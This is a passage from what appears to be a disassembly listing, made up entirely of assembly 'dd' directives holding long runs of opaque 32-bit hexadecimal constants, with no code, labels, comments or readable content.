		dd 0EC261FCBh, 86014FF6h, 0FE971EEFh, 0A14834h,	0EB5EB165h
		dd 0B0ECB81h, 59AE430Ch, 1CA710ECh, 0C931F8h, 0DEB0BCD0h
		dd 0CF000947h, 0CC4B309Bh, 98B7EFDh, 8DA44114h,	29F53700h
		dd 7C7F6378h, 9C97DB00h, 946CCD48h, 931300D1h, 4E35FDD6h
		dd 654996B1h, 0EC087560h, 0AB9968h, 6E29B5DCh, 1F009855h
		dd 90FE74A2h, 58DB08h, 0C25C14AEh, 35830E07h, 0FC30C41Dh
		dd 7A999CBDh, 0C942FD80h, 6162C82Bh, 9C13D87Bh,	654700D3h
		dd 0A7073C08h, 12E38612h, 4F0040AFh, 46CC9C20h,	76E466B0h
		dd 0EDBB2B00h, 23E68B2h, 8786002Eh, 0CDDFF34Fh,	0E0095A1h
		dd 3B8F5499h, 5B92652h,	0C7683569h, 9D40BE7Bh, 1950F496h
		dd 0F2A100CCh, 0F373F1B6h, 0EFB08C8Ah, 0E2131F00h, 7DEB5B9Bh
		dd 0BCA13FDCh, 0C5A2A502h, 0CCC061C1h, 0FC000B1Bh, 2B56F873h
		dd 79C4610h, 0CE65556Dh, 54DF2085h, 8D00B13Ah, 0FCA7A1D7h
		dd 1F06D184h, 88F6DBh, 0A9C1D61h, 3A003022h, 107EC689h
		dd 0E880AA19h, 3137191h, 0A9D5FC8Bh, 0C6D843BDh, 3279B828h
		dd 0E122F503h, 0F0347F51h, 1A04763h, 7A7CC679h,	0F804ECDEh
		dd 1C00A354h, 0D4922C99h, 0B23E2Ah, 0FC13DBE1h,	691A2EACh
		dd 34C6C003h, 0D070BECBh, 1DBDCE4h, 4A984B11h, 0E81316D7h
		dd 7BE45F55h, 5600C2E2h, 20A36652h, 28CD14h, 0D39739A4h
		dd 58E071FAh, 78004879h, 0FCA35FADh, 73F0DD50h,	82740F9Eh
		dd 8C2E13B3h, 0B197FFA0h, 0AC0F4B58h, 0A0C66891h, 53B31C5Bh
		dd 6673B02h, 552BBE80h,	1FF8F599h, 8F3F62FAh, 5D1E80A9h
		dd 0EBDE2CBFh, 0D6EE3AB0h, 403C649Eh, 3560940Ch, 0D0151CFh
		dd 0D4B46571h, 61309E67h, 2C0B2CADh, 21594010h,	741653FBh
		dd 0C0094E9h, 758091ECh, 85F40143h, 996E3810h, 7B36E48Fh
		dd 0E126F900h, 0DC048A4Dh, 0BDD50EE0h, 83E0C50Dh, 0ADC81AC3h
		dd 40901D0Fh, 0E4A7C3F1h, 63B4E289h, 48B7C850h,	0FF7300A0h
		dd 3A4EE09Eh, 18F20722h, 6F3EF700h, 428DA89Fh, 0E71C02F5h
		dd 561AE659h, 0B409C760h, 0BE3CB97Fh, 0AEF5871Dh, 3480288Eh
		dd 211573Fh, 0E5308D3Bh, 0A08259B3h, 50C89367h,	2000DECDh
		dd 0D627A1B5h, 98BBEC3h, 7C1C09B4h, 70000109h, 0CF291EC2h
		dd 2F7B3F1Dh, 18FF218Ch, 51600920h, 840023E5h, 0A81BF038h
		dd 3EC4D00h, 0C912337Ah, 0B2E70077h, 0D7BF68FDh, 0C4B2E948h
		dd 79873900h, 1333A259h, 20520071h, 7D3B0B5Ch, 0CF00F0A1h
		dd 48EBC0DBh, 3BD02E85h, 13788D2Fh, 68CC28h, 0E8411B86h
		dd 20FAFA59h, 0C64B9A1Dh, 0BC3835C0h, 0B4EB87h,	0F18A3DD3h
		dd 6576F611h, 22005C7Dh, 0A8C6FA8Dh, 7CDDBC1h, 2726E1E0h
		dd 0E0C8B789h, 7515B458h, 6F00F4B8h, 872C7EC5h,	1F9538h
		dd 0B5D8ED40h, 65E9140Fh, 0BE70A43Fh, 2252803Dh, 554863FBh
		dd 907AEE11h, 96FE009Bh, 0E172C1D7h, 0D8075D05h, 0CAA1333Bh
		dd 53A8B221h, 0B06126D9h, 15C5C60h, 82FAEF37h, 40BEC062h
		dd 0C7A373BFh, 5A0075B0h, 0E93B47B4h, 5C966A27h, 0D5006B30h
		dd 9BF670B1h, 44755384h, 0C71CF2F6h, 0A3D21C71h, 0FB602C00h
		dd 1C2F5680h, 791973Ah,	1040F801h, 3EED8B86h, 30D56500h
		dd 2D4B9812h, 896C0B24h, 0B880CE1Bh, 0BF02925Eh, 0D30E41FCh
		dd 5DEB84A5h, 4C1C0064h, 80D89989h, 0CC7FA760h,	96D13FD9h
		dd 34175280h, 8FD03078h, 187C071Eh, 0BE709D80h,	0E06C38C2h
		dd 0F87474C7h, 0AD6A39F0h, 0D890F483h, 83F92F72h, 0E569E1FEh
		dd 711980F1h, 4480672Eh, 226F005Ah, 4C9C640Ah, 20C0CB3Dh
		dd 0C2617BD5h, 817E05E8h, 0C2993C01h, 90C0B387h, 69B0506Eh
		dd 0CC7DAA1Fh, 0B740A51Fh, 4789F4DFh, 0C6DD0053h, 93CF4405h
		dd 990020D9h, 0A024E27Fh, 18C94AF7h, 68D4120Dh,	0E10174D2h
		dd 0C4D1812Eh, 5A8E99BEh, 634001FDh, 3B2619C0h,	30E74C00h
		dd 0D8182DF9h, 965600AFh, 20B083E4h, 0E3073678h, 2AA83AD3h
		dd 67A6A30h, 9871E012h,	0CD4D0CB8h, 6FB8B7A7h, 1A1B861Dh
		dd 0D8BF5AC0h, 0B8727312h, 13E62448h, 0CA3A068Dh, 0FDE49A54h
		dd 10C91AC0h, 8F76A0h, 64B234D7h, 0EBA39124h, 0D8782709h
		dd 49C00193h, 842998DEh, 0DC19F580h, 0FEF4BE24h, 6717DC98h
		dd 30010538h, 17666B8Dh, 0BB10F340h, 2DC8006Fh,	3CDB3794h
		dd 0FE009592h, 0C4C9F8EAh, 0EB5FDh, 0CB75DA26h,	5CDD646Eh
		dd 369FF200h, 4CC10930h, 0A4843FB1h, 28EDB000h,	355C7B9Ch
		dd 319E190Fh, 0E0766E80h, 7334CA57h, 1EC10045h,	3C11C259h
		dd 0A558B275h, 53E502C7h, 40A44B7Eh, 71771C74h,	3FC400D4h
		dd 8E0C7F3Bh, 0F300DACCh, 0A88B1F03h, 909B59E1h, 0C86702DAh
		dd 0E905B089h, 55FF44E0h, 0CC85E630h, 951D8AEh,	0EAA94E5Fh
		dd 88D07400h, 0B180C6E3h, 324C00D7h, 0BEFE8FDFh, 33006634h
		dd 0E5FB55CDh, 24516745h, 1E402B06h, 2EB290A6h,	3600F84Dh
		dd 8F53A1E2h, 41FF01D8h, 6D55C6Dh, 99C03025h, 72F5D000h
		dd 9D365FC9h, 9ED81677h, 1EEC1285h, 0BAD3C024h,	0B1EDE337h
		dd 21E44E00h, 57301D87h, 5113001Eh, 3704A170h, 27199145h
		dd 0E318563Ah, 261262FCh, 83ECAFB4h, 0FB70D2D4h, 0EDF0908Ch
		dd 0A500A6C1h, 0C6BF90E2h, 2CCAB8h, 9DA25658h, 0ADB99F5Eh
		dd 0E040248h, 0C0DA77EAh, 0FBD0ABFDh, 81E60112h, 0BCCE552Ah
		dd 158074C7h, 5CF5FC00h, 28EA7046h, 4C90ECF1h, 3A83A8C3h
		dd 0C6A006C7h, 2658DDF0h, 0B65E0320h, 0A122E33Fh, 8C302591h
		dd 90BA00CFh, 24E654DBh, 2900E4B3h, 365CCC08h, 39E8920h
		dd 2CED1B81h, 0B9A0F457h, 5201BD93h, 1299398Ch,	0C040A93Bh
		dd 3CFDC889h, 5C800CE5h, 94142857h, 0AF28FCACh,	6500C85Ah
		dd 68666D6Ah, 14B6A590h, 0CC1EA87Ch, 0D750F600h, 4142F4B2h
		dd 6B8C7F1Eh, 0A34AEBC0h, 147E76Fh, 69A627E2h, 0C5566DF8h
		dd 7F13C0CBh, 1B908900h, 0BB7916FCh, 98E1h, 0C509B91Eh
		dd 4C4F05E6h, 4B59000h,	20BD6084h, 69492CA7h, 9CA40480h
		dd 0A310C05Fh, 0BB1814F1h, 9A165BC6h, 0CC4301D3h, 0B68E33A7h
		dd 6823C44Eh, 35058B76h, 2903D076h, 5B1D0480h, 9EE42047h
		dd 84276C00h, 0AB6E2BE2h, 51C008Dh, 924DECFCh, 3A1F998Fh
		dd 0E6C0B058h, 38D9379Bh, 7BB060h, 5BCFF3F2h, 8CAB7696h
		dd 0A1C74502h, 48FAFE50h, 0F84090h, 3B54DF3Dh, 0EB477FFCh
		dd 0A667F300h, 0AE99C0C1h, 0E2E6C9h, 53BAB923h,	960EE73Dh
		dd 0EED43806h, 0A0A87Eh, 0FF486114h, 9FD01CD9h,	42853A00h
		dd 0AE98265h, 0E8314883h, 5A3C7500h, 6A2EE6B0h,	0D900387Eh
		dd 0C3955CC0h, 0CA72FAh, 0A4CEA16Dh, 131144BDh,	90781A07h
		dd 6347F52Ch, 0AC553A40h, 0E4EBFE22h, 6AE40654h, 0F6A025A6h
		dd 0FB08E096h, 4A29396h, 811EA51Bh, 0E08C77F0h,	0A03D473Dh
		dd 0C1688795h, 0D4100DEAh, 0F3AD941Eh, 4B95BFCh, 0B0F66D7Bh
		dd 0AB5C801Bh, 10C06E86h, 0D6560C3Ch, 0D0EA059Eh, 0A03F1EFCh
		dd 0FB00042Ch, 88D9C8Ch, 0CBF045h, 33EEBD43h, 44817939h
		dd 3291AA05h, 0E01EA47Dh, 93A0F700h, 90E2F5Ch, 14105573h
		dd 0F36FD080h, 0A903E94Ch, 0C2856307h, 0AB1802E3h, 0F5562505h
		dd 2D017C7Ah, 921D7610h
		dd 40CA0F1Ch, 2CF12490h, 0E70C19Eh, 1D0049CEh, 28D543DAh
		dd 1C032499h, 8995F1CBh, 73E00F16h, 0A04605D0h,	0C043EE23h
		dd 0A23F36C4h, 0D35AE304h, 7E80325Eh, 73B9C819h, 0CFE200C3h
		dd 0AE55E4BDh, 9E002A7Fh, 891C2B49h, 5732BEh, 768309C8h
		dd 94284B80h, 1E78600h,	0E3F5E637h, 0D0565CECh,	2E959F00h
		dd 0FB48B83Ch, 0BDA9A800h, 84BF8546h, 30B7FDFh,	0EFCD1D40h
		dd 35C05DE2h, 0DB07A598h, 0B92BCAE3h, 12A1E6D0h, 95310289h
		dd 0E46B290Ch, 9F617100h, 764D0059h, 0B5D64FD7h, 0DC774CCFh
		dd 67428C00h, 0F5552DFDh, 27121D53h, 0AC80E77Fh, 8BDC1130h
		dd 28FFEC12h, 68601F12h, 1EC3F227h, 401E3979h, 3BBCD28Fh
		dd 0B78052Dh, 0DC00DF78h, 47FE462Ah, 2CB53468h,	67E1598h
		dd 0D224760Eh, 1B4C8A00h, 419796FEh, 20184869h,	4164232Eh
		dd 0FC582021h, 0F90F99C3h, 12AD28EEh, 4908740Bh, 8D118458h
		dd 452E00CAh, 4B203E18h, 40C99496h, 1EB6E5F4h, 0F50747FFh
		dd 92461AD0h, 0C0628180h, 49C7007Ah, 0E041EF75h, 4A1F8407h
		dd 5180DBEAh, 18B9AF72h, 23D4147Dh, 0EC058D39h,	0C0B4D191h
		dd 0EA1BDB64h, 0B85C6B0Eh, 802D4987h, 90025874h, 0FE730039h
		dd 0D398DB49h, 7E000AF7h, 0F5DE45B3h, 12923770h, 3E53E6CAh
		dd 24A39F00h, 691B0748h, 4CB29230h, 78A30C0h, 6005C79h
		dd 0A44DF852h, 0B204410Ch, 8C0E0124h, 0C72EDAEEh, 47E5E014h
		dd 0B06B3731h, 8E04936h, 0F5F22D70h, 0DD66CC20h, 3E00ADCDh
		dd 90EA74F6h, 137184h, 0D4D03046h, 0F4DDBC78h, 678A991Fh
		dd 324F4Bh, 0D91293A8h,	0BC3E2E0Ah, 0EC8200BBh,	0FF0FA6DDh
		dd 432A73Ah, 6053B273h,	883F3CC3h, 0FA11FA66h, 0F3FC08D1h
		dd 0EF09B4C9h, 9F3CC8B5h, 3A49028Bh, 0BE6B6205h, 0D279DB60h
		dd 0FE70D300h, 0F5F99112h, 5FB50058h, 96137F24h, 420957A7h
		dd 804041D1h, 9F1F4DB8h, 0A929200Dh, 37ADD501h,	0E0155810h
		dd 0DC104C6Ch, 0D9E4C0ECh, 7ED61C3h, 239ECD0Bh,	42C4B0A0h
		dd 0DD00AF38h, 7DA110BAh, 0B8B0A5h, 582FF940h, 0E1F5CFA4h
		dd 4700AC90h, 565B2990h, 38FEB2CAh, 42807E5Ah, 92ED8CDDh
		dd 0BB7E8BC8h, 8EE59800h, 1497C4ABh, 0E0DC00E3h, 9227FB38h
		dd 74904902h, 5805D93Eh, 0E57B025Ah, 87AB85F3h,	0A420CC94h
		dd 130EB402h, 0C17DAD4Bh, 24F22CCCh, 0E9017878h, 17BC87D5h
		dd 75E8D93Bh, 0D2630E3Eh, 57A4C52Fh, 810CD08Ah,	0D92C5E70h
		dd 6007A0EBh, 4B25F3D8h, 6AF524D0h, 0FC7C030Ah,	4114368Dh
		dd 0C58BD080h, 374AD900h, 55544D17h, 0ACAD0052h, 92C21B3Eh
		dd 0A8C9A2AFh, 24E436h,	3CDB2D97h, 1D04023Fh, 702EC624h
		dd 8844D200h, 4430A8Dh,	5CE820FDh, 4224C216h, 9E130066h
		dd 38D0B9AAh, 1955D25h,	7D41CDF2h, 701F4FBAh, 597EA990h
		dd 0B043425Ah, 0A30EE171h, 1FC18846h, 7CF703FAh, 3051E44h
		dd 0F6B247B8h, 39FB691Fh, 83BB27C0h, 0CDB9DC3h,	1C0182B1h
		dd 5100E688h, 6E8E7E46h, 3CCC970Bh, 47806FDAh, 0F7732713h
		dd 0C17F9178h, 79EA03Ch, 5B63633h, 0B106AD00h, 0CB993F12h
		dd 1C317880h, 27E73372h, 3A131F04h, 0C080E3E2h,	92088591h
		dd 0B80F6DCh, 73956B14h, 0A09FE440h, 0FA2ECB00h, 0AB5EDDD6h
		dd 16F809CDh, 0EC001226h, 464DACBAh, 0B9B42E04h, 80C05A2Ah
		dd 8E87C5h, 0EC1EFF9h, 0A7BA077Eh, 3038CCA1h, 2B2C7328h
		dd 7187D412h, 3AB02097h, 0C4404Bh, 0C27D3EBAh, 0A0DF3244h
		dd 67E0C1Ch, 0C0C55C01h, 0E33133E3h, 72D3434h, 0B46D1112h
		dd 28050090h, 59C0DF40h, 7DD0268h, 4495818h, 7D48A200h
		dd 535CA079h, 0BC05E406h, 9C2D0Dh, 0C9C45545h, 94EB8CE3h
		dd 1F89C617h, 0B77968C1h, 0CD108012h, 80B95C22h, 3C772F48h
		dd 0FC48BEE7h, 17B17171h, 3FFC8C4h, 86E91640h, 146F4808h
		dd 20EA13CBh, 0EF28787Ch, 53D3A207h, 7000E536h,	3020AB66h
		dd 8AC9EA0Eh, 0BE021B90h, 0AEBD3CFCh, 1F81C084h, 90ECEC2Fh
		dd 0DA6400E3h, 7DA92A13h, 790019CCh, 0B4590907h, 55B2F37h
		dd 0B1EC7E62h, 0E3E300EFh, 453ABCC7h, 0C030966Fh, 77015DC4h
		dd 0C3BB021Ah, 98F274EEh, 7CC0B461h, 0D8F900BCh, 0DE147FFCh
		dd 332E2575h, 0E1768480h, 0DF044155h, 1B671C3Eh, 7243F8F4h
		dd 0F280337h, 70DE9122h, 40A4C3A8h, 2D75A516h, 2415800h
		dd 1BE7CA9h, 220B8A29h,	20325726h, 7300CA50h, 0E750E193h
		dd 2E3C67AAh, 80209BB9h, 0AB074AC1h, 3618E1F1h,	53196D2Bh
		dd 8B1930BBh, 0A1FCBF0h, 0B75B3900h, 7F5A07CAh,	33C30590h
		dd 87BBB312h, 60D107D9h, 715D5C3Dh, 0FCE75Ch, 31572A94h
		dd 9911EFh, 9113FD9Ah, 0CB1D1482h, 34040D5Fh, 84E2DF09h
		dd 6D5C802Dh, 399E1300h, 0C4967Dh, 420B1DA0h, 84EFBC44h
		dd 0DCE84004h, 74A410C5h, 0DDAC24FCh, 0A358264h, 545488C9h
		dd 60F0BF89h, 1CA113D4h, 698AC01h, 79DE6794h, 0D5BB4800h
		dd 0FC7038BFh, 9F6019Ah, 2A923C29h, 6D9C4087h, 2EF2E9ACh
		dd 22C7260Bh, 89646044h, 0D79800AFh, 0A2DE13Eh,	0DB00C6FAh
		dd 0BBB08481h, 1F363104h, 80039F41h, 831D881Ah,	4E00FC95h
		dd 0D76194BEh, 0EE3B05h, 28327E21h, 0FCE3C834h,	0E7B4EC00h
		dd 72431120h, 0EFD60745h, 0C38DD82Bh, 28482985h, 0D09400B6h
		dd 0C38B1B0Fh, 0BC41C4E2h, 4D9CC005h, 0DE00443Ch, 7E652374h
		dd 0C0F5C1F7h, 1E165BB1h, 0F90014BFh, 0E680EAA5h, 0FA138FB3h
		dd 0DA93001Fh, 9E725DCDh, 0F325AB86h, 389402C8h, 19230057h
		dd 0DB008864h, 0A465EFC4h, 10DA89h, 0A0ED0843h,	8211BC07h
		dd 28B89A4Ch, 0D113B867h, 0B8016E76h, 0A3922B0Eh, 0BA75474h
		dd 4A1FC3BAh, 364D2403h, 6C605ABAh, 78C2071Eh, 0D89359F6h
		dd 0CC61006Ch, 84DE4381h, 0D9F0F2DDh, 0B7B08F02h, 56CDC7BCh
		dd 0FFC0076Ch, 638607Ah, 0B8008045h, 3A904F9h, 0FCEE867h
		dd 91926628h, 731C19E0h, 8497A5Eh, 218C2548h, 5F66187Ch
		dd 1C85D8FFh, 3A4E03E3h, 9F4583A8h, 9213F00Eh, 8BA4A140h
		dd 0E0F6BDC2h, 0FA66218Ch, 0B4283CBAh, 14269F01h, 0FCBE79DAh
		dd 1E80995h, 0E92E8300h, 0EF5B3759h, 0D7DC1638h, 1F540B67h
		dd 3DD9E4B0h, 6C0249h, 8A44AD89h, 0B0E1C01Ah, 40DE16C0h
		dd 92A40083h, 0BBEDA4CEh, 0A70BECB8h, 206423h, 91B9B04Ah
		dd 0EB6D0112h, 0BD50D77Ah, 21C8E48Fh, 0B47C6800h, 0FCC985FDh
		dd 0A8B64945h, 0F8D9653Ah, 6900AB3Ah, 0BEB4749h, 0C004DD61h
		dd 0F3B70797h, 0AD8DA8C1h, 0D85D43CEh, 3A4399h,	0F603385Dh
		dd 1045FF46h, 819A2300h, 2F52D9CBh, 0A1E6189Eh,	16A798AEh
		dd 13428D0Eh, 4EDC8330h, 0C51806ACh, 0D0E48C0Bh, 0FFD4FC00h
		dd 0E19019CDh, 7CCA79A9h, 0ECB23E20h, 58573B80h, 3626F835h
		dd 0C121E033h, 1A48D8A0h, 61E50F0Ah, 27C03176h,	0D88E2C78h
		dd 0DAB3A804h, 0E9C25EABh, 0FADE80B6h, 126EE62Dh, 30DE51h
		dd 0A007067Ah, 7000EFEDh, 1410D024h, 169DFC6Ah,	40949218h
		dd 17B206ECh, 5000DF23h, 0C35E6841h, 233AF8Ch, 0F5E7C48Fh
		dd 5C409793h, 6005CD75h, 0C303D401h, 0B738F0h, 0A0985CDDh
		dd 0AB42DE04h, 0D700E07Dh, 0E7534C82h, 16573F3Ah, 0A167E1h
		dd 923108A5h, 0CB1F567Dh, 0D0F0A403h, 0FC8846FCh, 5281E99Ch
		dd 0E57151EAh, 907C5Fh,	0D5E60E9Ah, 1C9C7C5h, 0BC3B3605h
		dd 0DC921CC1h, 0DC0008B5h, 0E84C98AEh, 6BCA1Dh,	21DB5E2Ah
		dd 9DC712DDh, 6CD6B109h
		dd 32B8A014h, 611AB2B5h, 5A33C805h, 93C2DC25h, 0BF13BE07h
		dd 0ED53C404h, 0FF529014h, 7AD300FAh, 9B4AA259h, 243EE69Dh
		dd 0FD6C805Fh, 0A43A0E70h, 554B033h, 0EBC77E76h, 0FD98D87Dh
		dd 0E0098D02h, 82FB62B8h, 60E807BEh, 2A1AE8h, 0FF8F5F49h
		dd 3E6510A6h, 241C24B8h, 11DEF0B7h, 72500420h, 0B097DE42h
		dd 0AD4B3720h, 16A012h,	0BC5CAA01h, 3C30F704h, 36472EE9h
		dd 7D700F2h, 7AC88D3Dh,	0C5A38C09h, 0E1644063h,	30BE9081h
		dd 0AC10285Fh, 1A00D98Eh, 0B8CA4E82h, 23BC02h, 46137EB2h
		dd 40D2E9A6h, 5DC6931Ch, 0BAAC9D5Dh, 0D0C14A01h, 8030B861h
		dd 0C4D10012h, 0DFE05B4Dh, 9F1FE8DBh, 3C40ADDCh, 1657C727h
		dd 380400EFh, 0A044E0C2h, 0BA2C64ECh, 220E3475h, 0DCBD401Dh
		dd 77301C8h, 52B6765Ch,	0BF4B1014h, 0D21F5EFEh,	0C7C0BD0Dh
		dd 55DAE2EAh, 3A2D00A6h, 34D9E42Ch, 0AE90A8BAh,	0C82A191Dh
		dd 0F0AC6800h, 3D56E56Fh, 890709D1h, 0B3C96B79h, 70A0F905h
		dd 4414ECEFh, 4A86EC5h,	0DDD0F53Fh, 499BB381h, 0A4F890DAh
		dd 0ADD402FFh, 0CE663DA0h, 146B1840h, 7B05B81Dh, 4615EAC9h
		dd 0ECD102F8h, 0DF0BC7AEh, 0C1510CC0h, 4D5AF800h, 0C4DED476h
		dd 779A2C91h, 4B330BB4h, 0D9F9F0A0h, 38122F68h,	802C1Bh
		dd 71F1594h, 507AC4F8h,	0BDF7F217h, 85F8C943h, 927E4338h
		dd 5A0BFFE0h, 8078896Ah, 0C97098C4h, 0B65B165Fh, 2DE44017h
		dd 0BDD6BBE4h, 2010970Eh, 0E764C01Dh, 83229Dh, 57FA823Ah
		dd 2DFBAA1h, 49296F03h,	0BBC3980Eh, 87D6F990h, 13484820h
		dd 80A82D12h, 0B80DBEACh, 4ADB0B00h, 73154705h,	7EB3028Dh
		dd 0A832DD57h, 81AA1660h, 487FE600h, 833DE454h,	869B244Ch
		dd 0D1210FFAh, 697BF1E0h, 30F8FA48h, 193A3C0Eh,	0C9996050h
		dd 3C5D5A52h, 0EC8214BAh, 2779D9A3h, 2E9380C0h,	359A6900h
		dd 0E4C8B196h, 7EF9865h, 74FD76A6h, 0D06FF7D1h,	0C8480D35h
		dd 1AB01800h, 0EBE6CD06h, 59C6001Ch, 55684DB2h,	3005F60h
		dd 2D37A92Ch, 70F076h, 13853888h, 0D4B03FB4h, 0ED41461Ch
		dd 5D4C6E42h, 0DDB4E08Ch, 0AA7174h, 0EA3EE315h,	414B6C55h
		dd 0EDF7C600h, 0B2DCC4D5h, 0E9B15820h, 9D616700h, 17FE25CEh
		dd 2C3DAB07h, 7CB02609h, 0E251C69Bh, 5DE72EB3h,	0EF8940F0h
		dd 0BB00DD3Fh, 9729C5A8h, 647A41h, 0A1AED58Ah, 231859DFh
		dd 83DDEC39h, 0E82809EEh, 3C8EC804h, 4B98A5h, 0A463589Fh
		dd 8CFE45B7h, 80407B00h, 9639BC10h, 9EF8F56Ch, 0FCFB0098h
		dd 2CE1AB5Bh, 1900CC5Eh, 327893A9h, 979BB1h, 5B4FAEAh
		dd 2C741476h, 31DAF503h, 695428h, 0D6BE7C38h, 0A566E42Bh
		dd 0DAAA1100h, 0FC37B9A4h, 9C300418h, 0C0E234F9h, 2E6229B9h
		dd 86DA5B60h, 1D14DB1Bh, 0C47A68h, 32D28E6Ch, 0EC00C120h
		dd 0EF08FD4Bh, 0DDA98Ah, 7AD511B7h, 0DC893E22h,	0E8F4BD75h
		dd 52624700h, 7B7E82F0h, 2E43016Dh, 71572005h, 0D01ECDEAh
		dd 18272F42h, 7AA0C1F9h, 4505BFCh, 5C2A0F03h, 4666801Eh
		dd 8C01F01Fh, 64F57813h, 0AAF0AD12h, 0FF2CCh, 59FFD38h
		dd 0EE365D1Eh, 0B0193924h, 0E8901612h, 9D58C2h,	75DA77EBh
		dd 1DE27FA3h, 0E7487E1Ch, 0D9BF3Bh, 0ED74F6E5h,	53550Ah
		dd 0C950F3BCh, 428615BBh, 0B1B63Ch, 87A74027h, 987E1BA5h
		dd 7C202650h, 811F029Dh, 0A470574Ah, 892728F8h,	2F148065h
		dd 3A0CC710h, 0B1011834h, 21293732h, 0E3218367h, 98EDA73Fh
		dd 0C0D390F9h, 83F31208h, 0C800D5DFh, 960A037Bh, 0ED7D4F9Ah
		dd 16EC18F1h, 0B19E0084h, 0A03CB4E7h, 0AE031BD3h, 1DB5018Ch
		dd 0F947C0B3h, 44541521h, 0A8078419h, 0C00FEB64h, 1A920953h
		dd 0B1A12200h, 0C750669Eh, 6A490EB8h, 0B922C867h, 6880584Ah
		dd 0D545C4B2h, 67142707h, 5C609D25h, 0AA810Bh, 0F6EC9987h
		dd 40188D7Fh, 3C13A04h,	0E585636Dh, 0C7CC0AEh, 6700EBAEh
		dd 399DD8E8h, 40E28Eh, 5969538Dh, 0E0441BDh, 283C38h, 0B8957B58h
		dd 0F04C71h, 8FB2CDA9h,	0B95E2205h, 0AA3993E8h,	3773808Ah
		dd 0D3117E66h, 25DB0774h, 0F0BF782Ch, 347FBA79h, 1DB62400h
		dd 7B0CCFEFh, 9E9D073Dh, 67EAA9h, 0DEE5B703h, 90D29415h
		dd 50880090h, 0A0F486B2h, 0AF4B00A7h, 44993B7Ch, 3C1E414Eh
		dd 7D87512Ch, 0CBC0C22Bh, 1CCF05C7h, 0C0E0CED2h, 39673DF9h
		dd 0D600E589h, 0C73C767Dh, 1C3E3A88h, 404133B8h, 2B7BB2D4h
		dd 0D5003BBFh, 1DDF77FDh, 3B3D65Ah, 848D151Ah, 0CBA802BCh
		dd 0CC0FFB05h, 0E75286C5h, 103733Bh, 77E1A853h,	0CBF20468h
		dd 0C06CA1E7h, 0F005D201h, 0BA921100h, 78B3D81Ch, 0C10D00EAh
		dd 52E31D84h, 3C00519Dh, 3A1E9BABh, 0B57AE34h, 1BB178D6h
		dd 0A4081C5Bh, 42B544A2h, 10F1667h, 101AD41h, 0D311C518h
		dd 826B12BBh, 24A09C14h, 0BE13210Ch, 110E9F11h,	3012A793h
		dd 118D4312h, 8102329h,	803AA01h, 0E488C444h, 841790A7h
		dd 4848D238h, 94BDE84Fh, 0CE193C5Bh, 87C29D5h, 4FB94480h
		dd 89D1FA84h, 0E38F1060h, 70AE0048h, 29099F22h,	9600C061h
		dd 7D39DEFh, 3D45C6h, 53804B81h, 51D46E04h, 57378200h
		dd 29E4F78Ah, 1AF7667h,	63AEFD7Bh, 0F2501D95h, 0FC25E640h
		dd 0E0DB3117h, 8A815401h, 0F2F8DA5h, 57606784h,	0FB9AC102h
		dd 0B562CD09h, 0D870F8h, 4865378Ah, 17CB62Eh, 40C41100h
		dd 8DDDA047h, 0E7660F29h, 900BF17h, 0E637634Bh,	0B80B185Ah
		dd 0F724E160h, 6A2AD4h,	878C6112h, 4AF683CBh, 0D64F8A00h
		dd 0A7231F16h, 614901Eh, 0A22EC76Dh, 0C2002895h, 0B7F29362h
		dd 4AB3CF52h, 0B150D03Fh, 0F0071C5h, 0A70A9026h, 0B8E0280Ch
		dd 0BB2500ACh, 3A497EC3h, 90CECA3h, 507D529Ah, 1B9701BEh
		dd 4374157Ah, 0E26C7082h, 3BADDC02h, 0D045A381h, 0E05E00FCh
		dd 56643E21h, 0F713BEA9h, 0D102E530h, 40A0FD90h, 3088C1Ch
		dd 45627CE0h, 87FFC646h, 2F4C9056h, 8A001BB8h, 7CDC7E7Fh
		dd 0A26A97h, 0B9AFD67Bh, 7DAE0B2Dh, 13B8CC5Ch, 8CF49C17h
		dd 77A31DD7h, 3C1E40F0h, 0ED283A72h, 0CF9AA001h, 51290C2Bh
		dd 23C2FE40h, 15CD006Eh, 12B6D7E8h, 4D1EA3C6h, 0F1805BDDh
		dd 6F4E276h, 9DB5A5h, 0C63007E4h, 2197274Bh, 0B7CDDA54h
		dd 37C3AC7Dh, 0AFA8FCC8h, 2B00BE05h, 0F666FE83h, 8BE4B0h
		dd 7E2D600Dh, 0E78C55BCh, 0B246FC00h, 2C663F4Ch, 24474DC3h
		dd 0DC441627h, 0F841981Eh, 808E6BB8h, 0F91AC0ACh, 917300DEh
		dd 0CF266B3h, 0A8916A3Bh, 0D1C46500h, 0FFD0EAh,	5236925Eh
		dd 0FDA7C395h, 3A00CD77h, 0C2B8B5E0h, 0F1493B7h, 5C017E80h
		dd 1E864809h, 6E0016FEh, 0D43E029Fh, 0EFA090h, 0A9470A38h
		dd 78DA9429h, 0BA70C901h, 7F69E6C7h, 1457B881h,	0C050F498h
		dd 0E801874Dh, 0F77EEFD5h, 7C70C7CCh, 0DF0700F8h, 23DBBAD7h
		dd 8C17504Ch, 29007A89h, 0AE5E67F1h, 621A7A09h,	56B398E3h
		dd 0A0C7E443h, 268CFC07h, 7703D37Bh, 982766ADh,	0C07098DEh
		dd 23E200C1h, 0C457585Bh, 54FA4DE8h, 0FBF88800h, 37A031D7h
		dd 0F5BF160Bh, 7140C0AAh, 96055605h, 4A1B180h, 0B0152680h
		dd 9CF4E91h, 18D2702Ch,	7AB6F200h, 75BD1830h, 4272004Fh
		dd 2DC29403h, 0F301E70Dh, 6E0E8DF9h, 0ACD0089Eh, 4A3C0055h
		dd 59315154h, 0B70424AAh, 764EDC8Ch, 0ACE038C4h, 0B66C01E8h
		dd 72F78257h, 7AE6DCA3h, 1D24CF16h, 98EC7400h, 601AC3h
		dd 6769765Ch
		dd 81AD9B4Bh, 0B23FF200h, 0D5BC620Eh, 1ED977ACh, 3F6C4AFh
		dd 42A1AE60h, 741B72E0h, 54FC217h, 39A44A00h, 9E2D37Ah
		dd 0BECD4375h, 1D2EF852h, 873AA4ECh, 2971749Fh,	91D69B41h
		dd 5FE2E840h, 0E3EA508Dh, 0A7B43E64h, 4D7F013h,	80A0C474h
		dd 44E6AC5Ch, 2E006998h, 3D5C4C6Bh, 8CAABCh, 78594FD2h
		dd 20EB8918h, 1B78F6FAh, 0DE55A000h, 9B8F330Ah,	6BB700D0h
		dd 0E10786CBh, 3824BF12h, 7538C004h, 38DFFD2Fh,	3420810h
		dd 91F1C396h, 3E994482h, 0AE8030C0h, 8038693Ch,	8C42F9D5h
		dd 13FE28E0h, 0E0DAC9EDh, 320FE5A0h, 0E0D9B172h, 68B0D5DFh
